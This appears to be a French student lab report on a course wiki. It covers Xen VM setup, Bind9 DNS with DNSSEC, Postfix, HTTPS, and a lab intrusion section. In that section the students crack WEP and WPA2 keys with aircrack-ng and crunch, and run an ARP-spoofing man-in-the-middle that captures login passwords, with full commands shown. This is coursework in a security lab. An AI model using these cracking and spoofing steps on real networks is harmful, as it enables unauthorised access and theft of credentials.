L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
Grace aux efforts de monsieur Xavier Redon pour permettre de joindre Capbreton a distance pendant le confinement avec la commande 'SSH'.<br />
<br />
On peux donc maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. <br />
<br />
Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. <br />
<br />
Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveurs DNS configurer on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. <br />
<br />
Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK).<br />
<br />
Puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. <br />
<br />
Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
<br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
<br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
